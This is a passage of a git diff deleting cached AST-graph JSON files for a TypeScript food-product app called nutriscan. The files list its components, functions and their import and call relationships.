"source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialog", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogaction", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogcancel", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogdescription", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogfooter", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogheader", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogtitle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_alert_dialog_alertdialogtrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "app_actions_deletarproduto", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "components_deletebutton_deletebuttonprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "components_deletebutton_deletebutton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L25", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_deletebutton_deletebutton", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L26"}, {"caller_nid": "components_deletebutton_deletebutton", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L27"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/5cea92d81c21b5054c0c473880f15ccc115c93e7349cea4288aa2fecf08d0833.json b/graphify-out/cache/ast/5cea92d81c21b5054c0c473880f15ccc115c93e7349cea4288aa2fecf08d0833.json
deleted file mode 100644
index e2f6441..0000000
--- a/graphify-out/cache/ast/5cea92d81c21b5054c0c473880f15ccc115c93e7349cea4288aa2fecf08d0833.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_pagetitle_tsx", "label": "PageTitle.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\PageTitle.tsx", "source_location": "L1"}, {"id": "components_pagetitle_pagetitle", "label": "PageTitle()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\PageTitle.tsx", "source_location": "L4"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_pagetitle_tsx", "target": "framer_motion", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\PageTitle.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_pagetitle_tsx", "target": "components_pagetitle_pagetitle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\PageTitle.tsx", "source_location": "L4", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/663af3eeb7225f5de0770d4bbb9a8943f83d7d9a6b4e0667b7d29f554200aa5d.json b/graphify-out/cache/ast/663af3eeb7225f5de0770d4bbb9a8943f83d7d9a6b4e0667b7d29f554200aa5d.json
deleted file mode 100644
index aceda53..0000000
--- a/graphify-out/cache/ast/663af3eeb7225f5de0770d4bbb9a8943f83d7d9a6b4e0667b7d29f554200aa5d.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_skeleton_tsx", "label": "skeleton.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L1"}, {"id": "ui_skeleton_skeleton", "label": "Skeleton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_skeleton_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_skeleton_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_skeleton_tsx", "target": "ui_skeleton_skeleton", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L3", "weight": 1.0}], "raw_calls": [{"caller_nid": "ui_skeleton_skeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\skeleton.tsx", "source_location": "L9"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/67122e7bba7eb4e76f6247ccfb4288a3c696ed3f6b8fe912c115bfa7f96f9666.json b/graphify-out/cache/ast/67122e7bba7eb4e76f6247ccfb4288a3c696ed3f6b8fe912c115bfa7f96f9666.json
deleted file mode 100644
index 4acb19d..0000000
--- a/graphify-out/cache/ast/67122e7bba7eb4e76f6247ccfb4288a3c696ed3f6b8fe912c115bfa7f96f9666.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "label": "openFoodFactsApi.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L1"}, {"id": "lib_openfoodfactsapi_product", "label": "Product", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L6"}, {"id": "lib_openfoodfactsapi_searchresult", "label": "SearchResult", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L34"}, {"id": "lib_openfoodfactsapi_config", "label": "CONFIG", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L43"}, {"id": "lib_openfoodfactsapi_nutriscanerror", "label": "NutriScanError", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L54"}, {"id": "lib_openfoodfactsapi_nutriscanerror_constructor", "label": ".constructor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L55"}, {"id": "lib_openfoodfactsapi_makeapirequest", "label": "makeApiRequest()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L64"}, {"id": "lib_openfoodfactsapi_searchbybarcode", "label": "searchByBarcode()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L99"}, {"id": "lib_openfoodfactsapi_searchbyname", "label": "searchByName()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L118"}, {"id": "lib_openfoodfactsapi_fetchallresults", "label": "fetchAllResults()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L138"}, {"id": "lib_openfoodfactsapi_sortproducts", "label": "sortProducts()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L175"}, {"id": "lib_openfoodfactsapi_calculatecompletenessscore", "label": "calculateCompletenessScore()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L218"}, {"id": "lib_openfoodfactsapi_getgradevalue", "label": "getGradeValue()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L231"}, {"id": "lib_openfoodfactsapi_formatnutritiondata", "label": "formatNutritionData()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L239"}, {"id": "lib_openfoodfactsapi_detectsearchtype", "label": "detectSearchType()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L264"}, {"id": "lib_openfoodfactsapi_isvalidbarcode", "label": "isValidBarcode()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L269"}], "edges": [{"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_product", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_searchresult", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_config", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L43", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_nutriscanerror", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L54", "weight": 1.0}, {"source": "lib_openfoodfactsapi_nutriscanerror", "target": "lib_openfoodfactsapi_nutriscanerror_constructor", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L55", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_makeapirequest", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L64", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_searchbybarcode", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L99", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_searchbyname", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L118", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_fetchallresults", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L138", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_sortproducts", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L175", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_calculatecompletenessscore", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L218", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_getgradevalue", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L231", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_formatnutritiondata", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L239", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_detectsearchtype", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L264", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "target": "lib_openfoodfactsapi_isvalidbarcode", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L269", "weight": 1.0}, {"source": "lib_openfoodfactsapi_searchbyname", "target": "lib_openfoodfactsapi_makeapirequest", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L132", "weight": 1.0}, {"source": "lib_openfoodfactsapi_fetchallresults", "target": "lib_openfoodfactsapi_searchbyname", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L151", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_openfoodfactsapi_nutriscanerror_constructor", "callee": "super", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L56"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "setTimeout", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L66"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L69"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "clearTimeout", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L77"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "catch", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L80"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L80"}, {"caller_nid": "lib_openfoodfactsapi_makeapirequest", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L87"}, {"caller_nid": "lib_openfoodfactsapi_searchbybarcode", "callee": "replace", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L100"}, {"caller_nid": "lib_openfoodfactsapi_searchbybarcode", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L103"}, {"caller_nid": "lib_openfoodfactsapi_searchbybarcode", "callee": "await makeApiRequest", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L108"}, {"caller_nid": "lib_openfoodfactsapi_searchbybarcode", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L110"}, {"caller_nid": "lib_openfoodfactsapi_searchbyname", "callee": "trim", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L125"}, {"caller_nid": "lib_openfoodfactsapi_searchbyname", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L126"}, {"caller_nid": "lib_openfoodfactsapi_searchbyname", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L127"}, {"caller_nid": "lib_openfoodfactsapi_searchbyname", "callee": "append", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L130"}, {"caller_nid": "lib_openfoodfactsapi_searchbyname", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L132"}, {"caller_nid": "lib_openfoodfactsapi_fetchallresults", "callee": "onProgress", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L149"}, {"caller_nid": "lib_openfoodfactsapi_fetchallresults", "callee": "push", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L154"}, {"caller_nid": "lib_openfoodfactsapi_sortproducts", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L183"}, {"caller_nid": "lib_openfoodfactsapi_sortproducts", "callee": "sort", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L191"}, {"caller_nid": "lib_openfoodfactsapi_sortproducts", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L214"}, {"caller_nid": "lib_openfoodfactsapi_getgradevalue", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L233"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "round", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L252"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "fmt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L253"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "fmt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L254"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "fmt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L255"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "fmt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L256"}, {"caller_nid": "lib_openfoodfactsapi_formatnutritiondata", "callee": "fmt", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L257"}, {"caller_nid": "lib_openfoodfactsapi_detectsearchtype", "callee": "replace", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L265"}, {"caller_nid": "lib_openfoodfactsapi_isvalidbarcode", "callee": "replace", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L270"}, {"caller_nid": "lib_openfoodfactsapi_isvalidbarcode", "callee": "test", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\openFoodFactsApi.ts", "source_location": "L271"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/68b265cd8349d28b19e23e51acc8bccf8ea7ec504979d80dad7b13273ebef020.json b/graphify-out/cache/ast/68b265cd8349d28b19e23e51acc8bccf8ea7ec504979d80dad7b13273ebef020.json
deleted file mode 100644
index 6d16fc4..0000000
--- a/graphify-out/cache/ast/68b265cd8349d28b19e23e51acc8bccf8ea7ec504979d80dad7b13273ebef020.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_cachemanager_ts", "label": "cacheManager.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L1"}, {"id": "lib_cachemanager_filtervalue", "label": "FilterValue", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L9"}, {"id": "lib_cachemanager_filterrecord", "label": "FilterRecord", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L17"}, {"id": "lib_cachemanager_cachedsearch", "label": "CachedSearch", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L19"}, {"id": "lib_cachemanager_cacheconfig", "label": "CacheConfig", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L29"}, {"id": "lib_cachemanager_default_config", "label": "DEFAULT_CONFIG", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L35"}, {"id": "lib_cachemanager_cachemanager", "label": "CacheManager", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L41"}, {"id": "lib_cachemanager_cachemanager_constructor", "label": ".constructor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L46"}, {"id": "lib_cachemanager_cachemanager_generatecachekey", "label": ".generateCacheKey()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L53"}, {"id": "lib_cachemanager_cachemanager_generatesearchid", "label": ".generateSearchId()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L66"}, {"id": "lib_cachemanager_cachemanager_iscachevalid", "label": ".isCacheValid()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L73"}, {"id": "lib_cachemanager_cachemanager_getcacheindex", "label": ".getCacheIndex()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L80"}, {"id": "lib_cachemanager_cachemanager_updatecacheindex", "label": ".updateCacheIndex()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L92"}, {"id": "lib_cachemanager_cachemanager_getobjectsize", "label": ".getObjectSize()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L103"}, {"id": "lib_cachemanager_cachemanager_cleanupoldcaches", "label": ".cleanupOldCaches()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L110"}, {"id": "lib_cachemanager_cachemanager_savesearch", "label": ".saveSearch()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L158"}, {"id": "lib_cachemanager_cachemanager_getsearch", "label": ".getSearch()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L210"}, {"id": "lib_cachemanager_cachemanager_removesearch", "label": ".removeSearch()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L238"}, {"id": "lib_cachemanager_cachemanager_clearallcaches", "label": ".clearAllCaches()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L261"}, {"id": "lib_cachemanager_cachemanager_getcachestats", "label": ".getCacheStats()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L274"}, {"id": "lib_cachemanager_cachemanager_hasspacefordata", "label": ".hasSpaceForData()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L324"}, {"id": "lib_cachemanager_usecachemanager", "label": "useCacheManager()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L338"}], "edges": [{"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_filtervalue", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_filterrecord", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L17", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_cachedsearch", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_cacheconfig", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L29", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_default_config", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_cachemanager", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", 